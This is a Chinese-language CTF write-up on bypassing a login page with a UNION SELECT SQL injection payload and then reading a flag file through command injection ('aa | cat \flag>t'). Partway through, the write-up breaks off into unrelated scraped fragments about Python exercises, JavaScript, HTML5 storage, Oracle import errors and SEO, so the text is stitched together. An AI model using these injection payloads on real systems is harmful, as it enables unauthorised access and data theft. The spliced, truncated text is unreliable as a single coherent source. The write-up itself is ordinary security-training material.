题目地址:跳转提示
打开网址,是一个熟悉的登陆页面,几次登录尝试发现报错回显只有一种
应当不是基于布尔的盲注,bp抓包看看:
发现响应中有一串奇怪的字符,尝试使用base64解码,得到:
这应该是一个提示,需要绕过其判断条件
这里就可以利用联合查询来注入(union select)
之前说过,union select后面加数字串时,如果没有后面的表名,则该语句没有向任何一个数据库查询,那么它输出的内容就是select后的数字,并且使用联合查询要求必须保证前后查询的字段数一致,因此要绕过判断条件,可以payload
username=admi' UNION SELECT 1,md5(11)#&password=11,登录成功
这样就相当于:
$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
if (!empty($row) && $row['password']===md5($password)){
}
要注意,提取数据时很可能只取了结果集的第一行数据,所以要保证输入的用户名是错误的,以确保$row['password']===md5(11);
实验了一下上述语句,推测$row的结构如下:
<?php
if($link=mysqli_connect("127.0.0.1","root","root","test")){
$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
if($result=mysqli_query($link,$sql)){
$raw=mysqli_fetch_array($result);
var_dump($raw);
mysqli_close($link);
}else{
echo mysqli_error;
die();
}
}else{
echo mysqli_connect_error();
die();
}
?>
果然登录成功:
随便输入ls,发现结果显示使用了grep命令
再输入命令aa | ls>t
访问网站t目录,果然看到了ls结果
于是尝试输入 aa | cat \flag>t
打开t
```pythonprint("="*30)print("序号 种类 扣分")print("1 酒后驾驶 12")print("2 遮挡车牌 12")print("3 闯红灯 6")print("4 不按道行驶 2")print("="*30)xh=int(input("请输入违章种类序号:"))syfz=12print("原始分值为:%d"%(syfz...
/** *平铺数组结构转二维数组区域结构 * 参数:[{"id":51451,"areaCode":310000,"areaName":"上海市","parentCode":0},{"id":51452,"areaCode":310100,"areaName":"上海市","parentCode":310000},{"id":51469,"areaCode":320500,"areaName":"苏州市","parentCode":320000},{"id":51496,"areaCode":31010
widget 中text 单行文本如何变成可以容纳多行文本?修改属性 进行调整,需要进行填入文本测试是否符合要求。
https://www.cnblogs.com/LuckyWinty/p/5699117.htmlh5之前,存储主要是用cookies。cookies缺点有在请求头上带着数据,大小是4k之内。发送请求cookie会带过去浪费宽度资源。主要应用:购物车、客户登录对于IE浏览器有UserData,大小是64k,只有IE浏览器支持。三种存储方式:localStorage、sessionS...
滑雪场高度差题目出处(2721)这道题是我们编程社考试第四次的第四题,自认为比较水其实吧,这道题是我当时唯一AC的一道题(心酸)也正是因为这道题,我留在了编程社题目大意:有一个M * N(2<=n,m<=500)的滑雪场,每个点都有一个高度,如果相邻两个点的高度差小于安全高度d就可以互相抵达,在滑雪场上有一些重要的点,请问d最小是多少时可以使每个重要的点都可以互相抵...
使用 expdp/impdp 产生字符集问题 导致ORA-02374 ORA-12899 ORA-02372一、故障描述:今天从源数据库expdp导出数据,然后往目标数据库impdp导入的时候,产生如下错误:ORA-02374: conversion error loading table "ACS"."T_DI_NQHQ"ORA-12899: value too large for c...
1.下载文件。路径:https://download.csdn.net/download/qq_42740797/12703601官网路径:https://animate.style/2.在项目根目录新建一个“style”文件夹存放下载样式文件。3.全局导入样式,在“app.wxss”文件最开始引入。4.使用。注意:动画类要去掉“animate__”.每个动画都有的五个参数:animation: 动画名 持续时长 速度曲线 开始时延迟的时长 播放次数 轮流反向播放第一种:直接给全
第5章-1输出星期名缩写(70分)输入一个1到7的数字,输出对应的星期名的缩写。1 Mon2 Tue3 Wed4 Thu5 Fri6 Sat7 Sun输入格式:输入1到7之间数字输出格式:输出对应的星期名的缩写输入样例:在这里给出一组输入。例如:1输出样例:在这里给出相应的输出。例如:Mondays = {1:'Mon...
问题描述一:Caused by: Java.sql.SQLException: Unable to open a test connection to the given database. JDBC url = jdbc:MySQL://192.168.64.11:3306/hive?characterEncoding=UTF-8, username = hive. Terminating
搜索引擎亲耐大量的新鲜内容,如果seo每天都能写文章并且提交给搜索引擎,那么对于网站本身来讲对搜索引擎是比较友好的,万事没有绝对化,写不出原创文章能做seo吗?在某些特定情况下seo不需要每天写文章,比如网站有大量高权重网站指向本站点等。只要是大型网站,文章方面几乎都在无时无刻的更新,大量的有用户搜索的高质量内容更新,对于seo来讲是一大利器,从这个角度来讲,每天写文章很重要,或者说每天更新内容...
这周开始学习使用OrCAD制作原理图,刚开始接触的时候,查找常用的元件都需要花好长时间,在这里做一个小小的总结(不断更新):日期:2012-7-30二极管:diode蜂鸣器:piezo buzzer两个均在Discrete.olb库文件中总结出一点规律出来:1. 搜索器件有时候通过型号可能搜索不到,反而查找对应的英文可能会找到,所以需要点英文能力。比如搜索N
安装本地包到本地仓库:1mvninstall:install-file-DgroupId=com.xxx-DartifactId=mqtt-server-client-Dversion=1.0.1-Dpackaging=jar-Dfile=E:\__vdt\MVVP\mqtt-server-client-1.0.1...